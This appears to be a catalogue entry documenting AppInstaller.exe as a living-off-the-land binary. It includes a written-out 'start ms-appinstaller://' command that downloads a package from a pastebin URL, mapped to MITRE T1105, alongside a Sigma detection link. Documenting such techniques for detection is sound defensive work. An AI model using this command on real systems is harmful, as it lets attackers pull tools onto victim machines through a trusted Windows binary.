--- Name: AppInstaller.exe Description: Tool used for installation of AppX/MSIX applications on Windows 10 Author: 'Wade Hickey' Created: 2020-12-02 Commands: - Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache. Usecase: Download file from Internet Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Tags: - Download: INetCache Full_Path: - Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml Resources: - Link: https://twitter.com/notwhickey/status/1333900137232523264 Acknowledgement: - Person: Wade Hickey Handle: '@notwhickey'